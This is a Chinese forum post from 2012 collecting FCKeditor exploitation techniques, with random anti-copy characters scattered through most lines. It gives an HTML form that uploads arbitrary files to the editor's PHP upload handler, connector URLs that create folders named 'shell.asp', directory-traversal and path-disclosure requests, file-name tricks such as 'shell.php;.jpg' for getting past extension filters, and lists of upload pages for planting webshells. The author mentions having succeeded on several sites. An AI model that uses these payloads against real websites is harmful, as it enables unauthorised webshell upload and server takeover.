找回密码
 立即注册
查看: 3336|回复: 0
打印 上一主题 下一主题

Fckeditor漏洞 (2)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:01:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结  
( c8 S. {* F( }3 o0 D0 {查看编辑器版本
0 _% Z5 n/ b, `- C9 K6 O4 LFCKeditor/_whatsnew.html
  _# C: v8 n# h5 ?—————————————————————————————————————————————————————————————
' [( D* T. E: \# v: a# ?7 m+ L- U  [! z! }: X4 |8 Y7 S3 `% x
2. Version 2.2 版本  o, C8 Z3 l: ^  t5 V
Apache+linux 环境下在上传文件后面加个.突破!测试通过。' R8 L6 X! G  K  \+ Z$ Y" X( i
—————————————————————————————————————————————————————————————6 B4 N0 B  ~4 J7 m. e8 T8 E) {
. k8 V- D& ?" e5 p% P; g
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。2 s, v5 F  o$ y8 v. k) J
<form id="frmUpload" enctype="multipart/form-data"& _: L- Y0 R9 S2 J
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>% y8 b% m1 H) d+ P" R% X' s' v9 V
<input type="file" name="NewFile" size="50"><br>8 H  e% H6 B  M2 N4 D* W& h
<input id="btnUpload" type="submit" value="Upload">4 f  @' }, u. f5 E9 O& w  {5 F
</form>
- j& l6 C& V( x% b2 V4 p8 T—————————————————————————————————————————————————————————————
4 A, G% J: ]! H3 L& p& x  V+ ?& s" j  o8 L4 M
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
2 w8 v3 I) M# ?/ ~+ j6 r' k        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
# f* \+ d' O9 @" `) u  E- ]    4.1:提交shell.php+空格绕过
( T# O1 ]) C: q1 Z7 z( I不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。: y0 g& _8 Q% C
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。; T# F/ U5 G5 V3 z, n
—————————————————————————————————————————————————————————————% H! N: W/ v3 g! ~. v. u4 Z/ a

  Y1 s* U8 t# v2 C5. 突破建立文件夹- L1 l& P* n5 W4 c
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684; E( ~4 U1 U# P
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp9 a0 G; Y" D" v% s3 j& q2 ]) l& @+ n
—————————————————————————————————————————————————————————————  F7 u2 h5 k0 E& Y( J$ j, b% o

7 F) A! @8 H8 h: K# E* }- e0 Q& i6. FCKeditor 中test 文件的上传地址. a6 j9 h# ~- f$ b' S: O- d- @
FCKeditor/editor/filemanager/browser/default/connectors/test.html  }4 G, r% X8 U* z! d' O# U
FCKeditor/editor/filemanager/upload/test.html2 J  c& G' m6 t+ i1 X; N+ B
FCKeditor/editor/filemanager/connectors/test.html
( W' Q2 w% j1 W& t- ?2 V( bFCKeditor/editor/filemanager/connectors/uploadtest.html
& C' c2 @) h( c—————————————————————————————————————————————————————————————+ o. ]- H& y1 j( Q" a! P) u! J! K

3 W5 G1 b! }/ T. _$ N, W7.常用上传地址, |, W& }3 p6 A  h/ e2 `
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/7 x+ `2 G9 x4 t! N
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp$ c, W4 V7 m9 k' R# N/ k2 O! T" p
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)4 T! `) h5 M7 `
JSP 版:" q9 d3 ^) R6 t& K, ?
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
- Y3 t' \% {4 Z5 w3 j' v: L注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
0 q2 I$ s2 ^3 A2 U; q. X件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。7 m  W) `: [: Q9 ]
—————————————————————————————————————————————————————————————: _0 T1 b6 W2 w
. \! I, q5 R) w: R. c
8.其他上传地址
  k! Q. P0 A- P$ lFCKeditor/_samples/default.html- I6 T+ a4 e& k4 t) l7 _1 e
FCKeditor/_samples/asp/sample01.asp
& v$ ?3 n; u# G) ~( ^6 cFCKeditor/_samples/asp/sample02.asp
/ `5 Z0 }( W; O% q3 ?4 fFCKeditor/_samples/asp/sample03.asp3 e$ Z2 h+ d3 v& A4 _
FCKeditor/_samples/asp/sample04.asp7 o3 u$ D" w* p9 A
一般很多站点都已删除_samples 目录,可以试试。
- d( x' R8 A3 g) qFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。6 ?( i' E) E( \( k/ F
—————————————————————————————————————————————————————————————
/ v8 c+ d% h. K9 ]$ d2 y' @$ o6 q' p
9.列目录漏洞也可助找上传地址  E# A. T2 w. a8 Y; U. R% I
Version 2.4.1 测试通过
( f4 @0 T2 n* b修改CurrentFolder 参数使用 ../../来进入不同的目录) Q& g6 j, ~) h) b
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
6 ]5 Q" f2 W- B6 m根据返回的XML 信息可以查看网站所有的目录。0 M( ~/ J  c& {, i) U2 J9 _3 _
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
7 w9 e, T1 \5 ~( |也可以直接浏览盘符:' T0 d6 V: {) @; @. ], F! E  r
JSP 版本:
. ~/ H! X; k! X% z- _; wFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
0 S* S5 P+ Q" F! x- j3 Q—————————————————————————————————————————————————————————————
& q& f% ^: y6 a+ n. w
* P& d2 R+ T. p8 s' i10.爆路径漏洞9 H3 K; U" ~8 k8 n4 L: u- {2 i
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
  _7 @0 v' s& C/ {—————————————————————————————————————————————————————————————
' y! E4 p( m& F% J) \% g; {7 m; ^. P. e- J& \$ \
11. FCKeditor 被动限制策略所导致的过滤不严问题
( J4 O8 w3 I) q        影响版本: FCKeditor x.x <= FCKeditor v2.4.38 p# j: D  c" o5 ~2 y
脆弱描述:
  r; G1 }' K7 LFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
. ^6 o+ ]  @1 F! }- Ohtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm8 q$ N) D1 p! q& _4 s0 K" e7 K
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!2 U" X  }1 X4 p7 b# K( _
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
( N' X  c) c2 E! T& J2 S        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
) [3 Q2 h% P' b  V—————————————————————————————————————————————————————————————
6 V# p/ ?. L" h2 E" ?/ U6 j0 d1 d( R+ I: g) y0 C" v) Q
12.最古老的漏洞,Type文件没有限制!/ `+ v/ l2 n& i: ~
        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! / k. A- M/ Q/ D1 [" i) A
—————————————————————————————————————————————————————————————. s9 _' z- w; s$ M
" @$ _8 J* Y  r  l
===============================================================================================================================================
+ {" Y/ c( D1 ^' h) B" g
8 P0 ~5 g, m) G3 E8 J! P  pFCK编辑器jsp版本漏洞:- X0 {" A. [; g. ~8 z: t) F- @+ d
/ p1 G6 e$ j  e) W" K+ U# F

9 Y6 {, ^$ d# U# d$ W$ `http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
3 \$ h% E$ R' R% {( y& Z6 w
# b1 I# m4 A2 m' z上传马所在目录& U/ `  i+ N+ G! |
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
4 J( k' K$ Z/ d7 q3 k: x& l上传shell的地址:
4 V6 m$ l. Y  r9 g" A9 n# {- L1 e+ ^http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
1 I) A$ e8 x* X, t跟版本有关系.并不是百分百成功. 测试成功几个站.
& Z0 y5 |' ^% e* X不能通杀.很遗憾.
+ x; }2 \% o0 U7 q( q; b( O. @; chttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector! |9 Q6 [1 ^& l9 d1 P
如果以上地址不行可以试试
# `. K8 S+ z7 Q8 B% eFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector; u; d/ j6 g7 |% B* L, X! X2 T1 s
FCKeditor/_samples/
6 L, Q6 K1 V6 c5 q, oFCKeditor/_samples/default.html
' p3 L: T$ h% p; h, y; FFCKeditor/editor/fckeditor.htm
# H7 V3 o% `) N% AFCKeditor/editor/fckdialog.html
2 z+ c3 O- {& L  H* E6 Y5 W. I
. C8 X5 M( N& p) M$ S; H2 q9 c
+ h. y2 f$ V0 e1 q$ F5 w6 U9 {; h2 }; X: f* v( N
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
) B( ^$ r2 q. R8 C' ?% U2 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表